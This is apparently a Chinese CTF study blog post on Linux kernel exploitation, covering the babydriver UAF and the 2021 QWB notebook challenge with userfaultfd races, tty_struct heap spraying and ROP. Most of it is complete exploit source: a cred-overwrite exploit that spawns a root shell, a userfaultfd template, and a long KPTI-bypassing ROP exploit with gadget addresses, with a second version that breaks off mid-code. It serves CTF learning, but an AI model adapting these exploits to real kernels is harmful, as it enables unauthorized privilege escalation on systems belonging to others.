kernel pwn从0到1

Linux kerne pwn入门(一)

最近在看Linux内核pwn,所以想着写一点东西,以便之后方便复习。
作为内核pwn入门的第一篇,基本上是跟着ctf-wiki上的内容在做,加上一点自己的理解。环境搭建方面就不再赘述,网上有很多博客。直接上题。

kernel UAF

babydriver

之前用户态的时候也会有很多UAF的情况,可以对照着大概了解一下UAF的原理。这里拿CISCN2017 - babydriver来具体演示一下。
首先内核题目一般会给以下三个文件:启动脚本,bzImage 内核启动文件以及cpio根文件系统镜像。我们一般解压cpio根文件系统镜像(Linux直接右键提取到此处就可以了)就可以得到.ko存在漏洞的驱动程序和vmlinux。vmlinux是编译出来原始的内核,未经过压缩,不能直接通过qemu启动,是一个ELF文件,里面包括了符号表等等一系列内核相关的指令,可以用IDA Pro查看,可以找gadget等等等等。类比于libc pwn中的libc-2.23.so之类的,给了这个东西就可以找gadget、找地址偏移等等。bzImage是vmlinux压缩以后,并且加上一段解压启动代码得到。这个东西可以放到QEMU中跑,但是不能用IDA打开。如果题目没有给vmlinux只给了bzImage,可以参考kiprey师傅用extract-vmlinux工具从bzImage中解压出vmlinux,并用vmlinux-to-elf将符号添加进去。

我们用IDA分析一下存在漏洞的驱动程序babydriver.ko。首先babydriver_init是加载驱动的初始化程序,所做的工作大概是注册了驱动程序,里面不会存在漏洞(至少到现在做的题里面没有)。babydriver_exit是卸载驱动所做的操作,大概是销毁一写分配的空间。babyopen,babyrelease,babyioctl,babywrite,babyread是通过你写的C程序open(fd),close(fd),ioctl(fd),write(fd),read(fd)所做的操作,举例来说,用fd1=open(/dev/babydriver)打开了一个驱动文件,然后ioctl(fd1)去找fd1所对应的babyioctl操作。


open函数为全局未初始化结构体变量babydev_struct的device_buf分配了大小为64的一段空间(根据kiprey师傅所说kmem_cache_alloc_trace应该是kmalloc函数在IDA下优化的结果),然后将长度赋给device_buf_len结构体成员。


ioctl函数释放掉之前分配的大小为64的空间,并且分配一段大小为用户自定义的空间赋给device_buf,并更新device_buf_len大小(我们用ioctl的格式形如ioctl(fd,command,size),其中size就是v3,因为是rdx寄存器,而又将v3赋给了v4,因此实际上分配的是我们指定的大小)。


read函数将内核空间的device_buf处的内容拷贝到用户空间的buffer处


write函数将用户空间buffer处的内容拷贝到内核空间device_buf处


release函数在关闭这个驱动文件的时候只free而没有将指针置空,因此可能存在UAF

我们该怎么利用这个UAF漏洞,首先应该打开两遍babydriver驱动,这样fd1和fd2的device_buf均指向内核中同一片内存,因为device_buf是babydriver.ko驱动中的全局变量。然后我们close(fd1),这样就会释放device_buf空间,但指针没有置空,因此我们还可以通过fd2来操控这片内存(因为已经close(fd1),因此不能通过fd1来操控)。那么如何来使用呢,每个进程都会分配一个cred结构体,我们只需要让uid和gid为0就可以达到提权的目的。因此我们需要保证device_buf所在的位置就是为新进程分配的cred结构体所在的位置。我们可以通过ioctl来将fd1指向的device_buf的大小修改为cred结构体大小0xa8,这样在close(fd1)也就是free(device_buf)后fork一个新进程,新进程cred所在的位置就是之前释放device_buf所在的位置(至于为什么会这样,因为还不是太了解内核内存的分配,这里先挖个坑,之后再来补),因为fd2的device_buf此时还指向device_buf也就是cred,因此我们往device_buf处写0覆盖掉uid和gid,就可以让fork出来的新进程为root。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <unistd.h>

int main(){
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 65537, 0xa8);
close(fd1);

if(!fork()){
char mem[4*7];
memset(mem, '\x00', sizeof(mem));
write(fd2, mem, sizeof(mem));

printf("[+] after LPE, privilege: %s\n", (getuid() ? "user" : "root"));
system("/bin/sh");
}
else{
waitpid(-1, NULL, 0);
}

return 0;
}

需要注意的是,当进程执行完 fork 操作后,父进程必须 wait 子进程,否则当父进程被销毁后,该进程成为孤儿进程,将无法使用终端进行输入输出。exploit 需要静态编译,因为 kernel 不提供标准库,但一定提供 syscall。

一般内核题目的exp是调用驱动的C文件,我们把他编译进文件系统中,这样就可以用qemu启动内核,然后运行这个c程序getshell。不知道为什么这个题目程序断不下来,因此在下一题中再具体演示内核是如何调试的。

kernel ROP

2018强网杯core

内核rop

userfaultfd的使用

userfaultfd主要用来在内核pwn中提高条件竞争的成功率,主要来说就是卡在copy_from_user(kptr,user_buf,size)处,因为拷贝时出现了缺页异常,出现缺页异常后就会执行我们注册的handler处理函数,只要我们在这个处理函数中sleep(100)就可以在这个线程中卡住,此时我们如果在另一个线程修改了kptr指向的内存(比如说kfree掉),那么就会出现UAF。怎么才能出现缺页异常呢,可以用mmap分一块匿名内存,第一次访问这个匿名页的时候就会触发缺页异常。

要使用 userfaultfd 系统调用,我们首先要注册一个 userfaultfd,通过 ioctl 监视一块内存区域,同时还需要专门启动一个用以进行轮询的线程 uffd monitor,该线程会通过 poll() 函数不断轮询直到出现缺页异常
当有一个线程在这块内存区域内触发缺页异常时(比如说第一次访问一个匿名页),该线程(称之为 faulting 线程)进入到内核中处理缺页异常
内核会调用 handle_userfault() 交由 userfaultfd 处理
随后 faulting 线程进入堵塞状态,同时将一个 uffd_msg 发送给 monitor 线程,等待其处理结束
monitor 线程调用通过 ioctl 处理缺页异常,有如下选项:
UFFDIO_COPY:将用户自定义数据拷贝到 faulting page 上
UFFDIO_ZEROPAGE :将 faulting page 置0
UFFDIO_WAKE:用于配合上面两项中 UFFDIO_COPY_MODE_DONTWAKE 和 UFFDIO_ZEROPAGE_MODE_DONTWAKE 模式实现批量填充
在处理结束后 monitor 线程发送信号唤醒 faulting 线程继续工作

L3H_CoLin师傅说在Linux5.4版本以下的内核中这种方法是可行的,新版本只有root权限才有权执行此类操作。一般做题时我们直接套板子就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static pthread_t monitor_thread;

void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}

void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
errExit("pthread_create");
}

在使用时直接调用即可

1
registerUserFaultFd(addr, len, handler);

handler的板子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
static char *page = NULL; // 你要拷贝进去的数据
static long page_size;

static void *
fault_handler_thread(void *arg)
{
static struct uffd_msg msg;
static int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

/*
* [在这停顿.jpg]
* 当 poll 返回时说明出现了缺页异常
* 你可以在这里插入一些自定义的代码,比如说获取锁或者 sleep() 一类的操作
* 让他在你想要的地方停顿,之后你再手动唤醒(或者就这样卡住)
*/

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
}
}

从2021强网杯notebook学userfaultfd和堆喷

查看启动脚本发现开启了smap,smep和kaslr保护。并且开启了KPTI保护。

过KPTI保护就可以不用过smep和smap保护,不知道为什么,这里留个坑,下次再来解释。

主要思路

这道题的主要思路就是UAF,free掉notebook.note,但是我们还可以通过notebook.note去访问这个指针,这个过程需要用到线程竞争,为了提高竞争的成功率就要用到userfaultfd机制。释放的notebook.note的大小应该是tty_struct的大小,这样我们多次open(“/dev/ptmx”),就有概率申请的tty_struct被放在刚刚释放的大小为tty_struct的notebook.note中,这样通过访问notebook.note就可以UAF修改tty_struct的值从而劫持控制流bypass KPTI到用户空间拿到root权限并getshell。我们多次打开dev/ptmx的过程就叫堆喷。

堆喷的原理可以这样简单理解:假设我们有一个大小n的内核pool chunk A,然后释放该chunk。当我们再次申请同样大小的chunk时,就有可能又会申请到A,只是概率较低,但是如果我们大量申请同样大小的chunk,就有很大的概率又申请到A空间。

我们可以看到noteedit中用krealloc函数,会先释放原有空间,再分配新的空间,这里我们原有空间的大小可以设为0x2e0,也就是tty_struct的大小,然后传入的newsize可以是0x1000,传入的buf可以是memset分配的匿名页,这样在copy_from_user的时候就会sleep一段时间,此时还没有修改notebook.note的指向,因此访问notebook.note还可以访问到原来的指针。

此时大小为0x2e0大小的堆空间已经释放了,因此此时我们多次申请open(“/dev/ptmx”),这样就能有大概率申请到的tty_struct刚好就落在刚刚释放的堆空间里。

1
2
3
4
for (int i = 0; i < 0x80; i++)
tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
puts("\033[32m\033[1m[+] Heap spray for tty done.\033[0m");
sleep(1);

接下来我们要把每个notebook.note里的数据读到用户空间然后判断是哪一个notebook.note hit到了tty_struct,但是在读的时候会有检查size,不能越界读写,因此我们还需要另起一个线程去修改notebook的size为正常大小。因为是add和edit都是读锁,因此可以多线程访问,不会阻塞。

然后就是常规的劫持tty_operations执行ROP。当时我看其他师傅的脚本栈迁移迁移的我犯迷糊,因此推荐长亭的wp。前面的解法相同,只是后面不需要那么多次栈迁移以及ROP。

work_for_cpu_fn 稳定化利用

在开启了多核支持的内核中都有这个函数,定义于 kernel/workqueue.c 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
struct work_for_cpu {
struct work_struct work;
long (*fn)(void *);
void *arg;
long ret;
};

static void work_for_cpu_fn(struct work_struct *work)
{
struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);

wfc->ret = wfc->fn(wfc->arg);
}

可以看到这个函数 rdi + 0x20 处作为函数指针执行,参数为 rdi + 0x28 处值,返回值存放在 rdi + 0x30 处,由此我们可以很方便地分次执行 prepare_kernel_cred 和 commit_creds,完成稳定化提权。

这里劫持ioctl而不是write,原因是 tty_write 和 do_tty_write 操作中对此处的成员变量进行了操作,会修改rdi+0x28处的值,所以劫持ioctl。并且ctf-wiki上说ioctl的cmd值最好用233.

而在执行ioctl的时候,rdi寄存器的值刚好是tty_struct的值,因此在(size_t)tty_struct+3的位置也就是operations的位置填入work_for_cpu_fn函数地址,然后在(size_t)tty_struct+4也就是rdi+0x20的位置填入prepare_kernel_cred函数的地址,在(size_t)tty_struct+5也就是rdi+0x28的位置填入0,也就是prepare_kernel_cred的参数,返回值放在(size_t)tty_struct+6的位置。然后调用ioctl执行prepare_kernel_cred函数,执行完后将返回值也就是(size_t)tty_struct+6的位置放入(size_t)tty_struct+5也就是参数的位置,然后(size_t)tty_struct+3的位置填入work_for_cpu_fn函数地址,然后在(size_t)tty_struct+4的位置填入commit_creds函数的地址。之后直接用户态getshell即可。

解法一exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include "kernelpwn.h"

#define PTM_UNIX98_OPS 0xffffffff81e8e440
#define PTY_UNIX98_OPS 0xffffffff81e8e320
#define COMMIT_CREDS 0xffffffff810a9b40
#define PREPARE_KERNEL_CRED 0xffffffff810a9ef0
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81a00929
#define PUSH_RDI_POP_RSP_POP_RBP_ADD_RAX_RDX_RET 0xffffffff81238d50
#define MOV_RSP_RBP_POP_RBP_RET 0xffffffff8107875c
#define POP_RDI_RET 0xffffffff81007115
#define MOV_RDI_RAX_POP_RBP_RET 0xffffffff81045833
#define POP_RDX_RET 0xffffffff81358842
#define RET 0xffffffff81000091
#define SWAPGS_POP_RBP_RET 0xffffffff810637d4
#define IRETQ 0xffffffff810338bb
#define POP_RDX_POP_R12_POP_RBP_RET 0xffffffff810880c1
#define POP_RSI_POP_RDI_POP_RBX_RET 0xffffffff81079c38
#define POP_RBP_RET 0xffffffff81000367
#define POP_RBX_POP_RBP_RET 0xffffffff81002141
#define POP_RAX_POP_RBX_POP_RBP_RET 0xffffffff810cadf7


#define TTY_STRUCT_SIZE 0x2e0


static long page_size;
static sem_t sem_add, sem_edit;
static char * buf; // for userfaultfd

static char *page = NULL;

static void *fault_handler_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

sleep(100);

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}

typedef struct
{
size_t idx;
size_t size;
char * buf;
} Note;

long note_fd;

void noteAdd(size_t idx, size_t size, char * buf)
{
Note note =
{
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(note_fd, 0x100, &note);
}

void noteAddWrapper(void * args)
{
Note * note = (Note*) args;
noteAdd(note->idx, note->size, note->buf);
}

void noteDel(size_t idx)
{
Note note =
{
.idx = idx,
};
ioctl(note_fd, 0x200, &note);
}

void noteEdit(size_t idx, size_t size, char * buf)
{
Note note =
{
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(note_fd, 0x300, &note);
}

void noteEditWrapper(void * args)
{
Note * note = (Note*) args;
noteEdit(note->idx, note->size, note->buf);
}

void noteGift(char * buf)
{
Note note =
{
.buf = buf,
};
ioctl(note_fd, 100, &note);
}

void evilAdd(void * args)
{
sem_wait(&sem_add);
noteAdd((int)args, 0x50, buf);
}

void evilEdit(void * args)
{
sem_wait(&sem_edit);
noteEdit((int)args, 0x2000, buf);
}

struct
{
void * buf;
size_t size;
} notebook[0x10];

int main(){
int tty_fd[0x100], tty_idx, fake_tty_ops_idx = -1, fake_stack_idx = -1, hit_tty = 0;
size_t tty_data[0x200], fake_tty_data[0x200], tty_ops, fake_tty_ops_data[0x200], rop[0x100];
pthread_t tmp_t, add_t, edit_t;
Note note;
saveStatus();
sem_init(&sem_add, 0, 0);
sem_init(&sem_edit, 0, 0);

note_fd = open("/dev/notebook", O_RDWR);
buf = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
page = malloc(0x1000);
memset(page, 'a', 0x1000);
page_size = sysconf(_SC_PAGE_SIZE);

registerUserFaultFd(buf, 0x1000, fault_handler_thread);

for (int i = 0; i < 0x10; i++)
{
noteAdd(i, 0x20, page);
noteEdit(i, TTY_STRUCT_SIZE, page);
}
puts("\033[32m\033[1m[+] Notebook initialization done.\033[0m");
sleep(1);

for (int i = 0; i < 0x10; i++)
pthread_create(&edit_t, NULL, evilEdit, (void*)i);
puts("\033[34m\033[1m[*] Edit threads started.\033[0m");

for (int i = 0; i < 0x10; i++)
sem_post(&sem_edit);
puts("\033[32m\033[1m[+] Edit threads trapped in userfaultfd.\033[0m");
sleep(1);

for (int i = 0; i < 0x80; i++)
tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
puts("\033[32m\033[1m[+] Heap spray for tty done.\033[0m");
sleep(1);

for (int i = 0; i < 0x10; i++)
pthread_create(&add_t, NULL, evilAdd, (void*)i);
puts("\033[34m\033[1m[*] Add threads started.\033[0m");

for (int i = 0; i < 0x10; i++)
sem_post(&sem_add);
puts("\033[32m\033[1m[+] Add threads trapped in userfaultfd.\033[0m");
sleep(1);

noteGift((char*) notebook);

for (int i = 0; i < 0x10; i++)
{
read(note_fd, tty_data, i);
if (hit_tty = (*((int*)tty_data) == 0x5401))
{
printf("\033[32m\033[1m[+] Successfully hit the tty_struct at idx \033[0m%d.\n", tty_idx = i);
printf("\033[32m\033[1m[+] Address of the tty_struct: \033[0m%p.\n", notebook[i].buf);
break;
}
}
if (!hit_tty)
errExit("Failed to hit the tty struct.");

tty_ops = *(unsigned long long*)(tty_data + 3);
kernel_offset = ((tty_ops & 0xfff) == (PTY_UNIX98_OPS & 0xfff) ? (tty_ops - PTY_UNIX98_OPS) : tty_ops - PTM_UNIX98_OPS);
kernel_base = (void*) ((size_t)kernel_base + kernel_offset);

prepare_kernel_cred = PREPARE_KERNEL_CRED + kernel_offset;
commit_creds = COMMIT_CREDS + kernel_offset;
printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%llx\n", kernel_offset);
printf("\033[32m\033[1m[+] Kernel base: \033[0m%p\n", kernel_base);
printf("\033[32m\033[1m[+] prepare_kernel_cred: \033[0m%p\n", prepare_kernel_cred);
printf("\033[32m\033[1m[+] commit_creds: \033[0m%p\n", commit_creds);
printf("\033[32m\033[1m[+] swapgs_restore_regs_and_return_to_usermode: \033[0m%p\n", SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset);

for (int i = 0; i < 0x10; i++)
{
read(note_fd, tty_data, i);
if (*((int*)tty_data) != 0x5401)
{
if (fake_tty_ops_idx == -1)
printf("\033[34m\033[1m[*] Fake tty_operations at idx \033[0m%d.\n", fake_tty_ops_idx = i);
else
{
printf("\033[34m\033[1m[*] Fake stack at idx \033[0m%d.\n", fake_stack_idx = i);
break;
}
}
}

if (fake_tty_ops_idx == -1 || fake_stack_idx == -1)
errExit("Unable to find enough available notes, you\'re so lucky that you got so many tty_structs.");

noteEdit(fake_tty_ops_idx, sizeof(struct tty_operations), fake_tty_data);
noteEdit(fake_stack_idx, 0x100, rop);
noteGift((char*) notebook);
printf("\033[32m\033[1m[+] Address of the fake tty_operations: \033[0m%p.\n", notebook[fake_tty_ops_idx].buf);
printf("\033[32m\033[1m[+] Address of the fake stack: \033[0m%p.\n", notebook[fake_stack_idx].buf);

read(note_fd, tty_data, tty_idx);
memcpy(fake_tty_data, tty_data, sizeof(size_t) * 0x200);

((struct tty_operations *)fake_tty_ops_data)->write = PUSH_RDI_POP_RSP_POP_RBP_ADD_RAX_RDX_RET + kernel_offset;

fake_tty_data[1] = POP_RBX_POP_RBP_RET + kernel_offset;
fake_tty_data[3] = notebook[fake_tty_ops_idx].buf;
fake_tty_data[4] = MOV_RSP_RBP_POP_RBP_RET + kernel_offset;

fake_tty_ops_data[1] = POP_RBP_RET + kernel_offset;
fake_tty_ops_data[2] = notebook[fake_stack_idx].buf;
fake_tty_ops_data[3] = MOV_RSP_RBP_POP_RBP_RET + kernel_offset;

int rop_idx = 0;
rop[rop_idx++] = 0xdeadbeefdeadbeef; //for pop rbp, not useful;
rop[rop_idx++] = POP_RDI_RET + kernel_offset;
rop[rop_idx++] = 0;
rop[rop_idx++] = prepare_kernel_cred;
// rop[rop_idx++] = POP_RDX_RET + kernel_offset;
// rop[rop_idx++] = RET;
rop[rop_idx++] = MOV_RDI_RAX_POP_RBP_RET + kernel_offset;
rop[rop_idx++] = 0xdeadbeefdeadbeef;
rop[rop_idx++] = commit_creds;
rop[rop_idx++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22 + kernel_offset;
rop[rop_idx++] = 0;
rop[rop_idx++] = 0;
rop[rop_idx++] = (size_t) &getRootShell;
rop[rop_idx++] = user_cs;
rop[rop_idx++] = user_rflags;
rop[rop_idx++] = user_sp;
rop[rop_idx++] = user_ss;

write(note_fd, rop, fake_stack_idx); // copy the ropchain
write(note_fd, fake_tty_ops_data, fake_tty_ops_idx); // hijack the tty_operations
write(note_fd, fake_tty_data, tty_idx); // hijack the tty_struct
puts("\033[32m\033[1m[+] TTY DATA hijack done.\033[0m");

puts("\033[34m\033[1m[*] Start to exploit...\033[0m");
for (int i = 0; i < 0x80; i++)
write(tty_fd[i], page, 233);

return 0;
}

解法二exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include "kernelpwn.h"

#define PTM_UNIX98_OPS 0xffffffff81e8e440
#define PTY_UNIX98_OPS 0xffffffff81e8e320
#define COMMIT_CREDS 0xffffffff810a9b40
#define PREPARE_KERNEL_CRED 0xffffffff810a9ef0
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81a00929
#define PUSH_RDI_POP_RSP_POP_RBP_ADD_RAX_RDX_RET 0xffffffff81238d50
#define MOV_RSP_RBP_POP_RBP_RET 0xffffffff8107875c
#define POP_RDI_RET 0xffffffff81007115
#define MOV_RDI_RAX_POP_RBP_RET 0xffffffff81045833
#define POP_RDX_RET 0xffffffff81358842
#define RET 0xffffffff81000091
#define SWAPGS_POP_RBP_RET 0xffffffff810637d4
#define IRETQ 0xffffffff810338bb
#define POP_RDX_POP_R12_POP_RBP_RET 0xffffffff810880c1
#define POP_RSI_POP_RDI_POP_RBX_RET 0xffffffff81079c38
#define POP_RBP_RET 0xffffffff81000367
#define POP_RBX_POP_RBP_RET 0xffffffff81002141
#define POP_RAX_POP_RBX_POP_RBP_RET 0xffffffff810cadf7
#define WORK_FOR_CPU_FN 0xffffffff8109eb90


#define TTY_STRUCT_SIZE 0x2e0


static long page_size;
static sem_t sem_add, sem_edit;
static char * buf; // for userfaultfd

static char *page = NULL;

static void *fault_handler_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

sleep(100);

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}

typedef struct
{
size_t idx;
size_t size;
char * buf;
} Note;

long note_fd;

void noteAdd(size_t idx, size_t size, char * buf)
{
Note note =
{
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(note_fd, 0x100, &note);
}

void noteAddWrapper(void * args)
{
Note * note = (Note*) args;
noteAdd(note->idx, note->size, note->buf);
}

void noteDel(size_t idx)
{
Note note =
{
.idx = idx,
};
ioctl(note_fd, 0x200, &note);
}

void noteEdit(size_t idx, size_t size, char * buf)
{
Note note =
{
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(note_fd, 0x300, &note);
}

void noteEditWrapper(void * args)
{
Note * note = (Note*) args;
noteEdit(note->idx, note->size, note->buf);
}

void noteGift(char * buf)
{
Note note =
{
.buf = buf,
};
ioctl(note_fd, 100, &note);
}

void evilAdd(void * args)
{
sem_wait(&sem_add);
noteAdd((int)args, 0x50, buf);
}

void evilEdit(void * args)
{
sem_wait(&sem_edit);
noteEdit((int)args, 0x2000, buf);
}

struct
{
void * buf;
size_t size;
} notebook[0x10];

int main(){
int tty_fd[0x100], tty_idx, fake_tty_ops_idx = -1, fake_stack_idx = -1, hit_tty = 0;
size_t tty_data[0x200], fake_tty_data[0x200], tty_ops, fake_tty_ops_data[0x200], rop[0x100];
pthread_t tmp_t, add_t, edit_t;
Note note;
saveStatus();
sem_init(&sem_add, 0, 0);
sem_init(&sem_edit, 0, 0);

note_fd = open("/dev/notebook", O_RDWR);
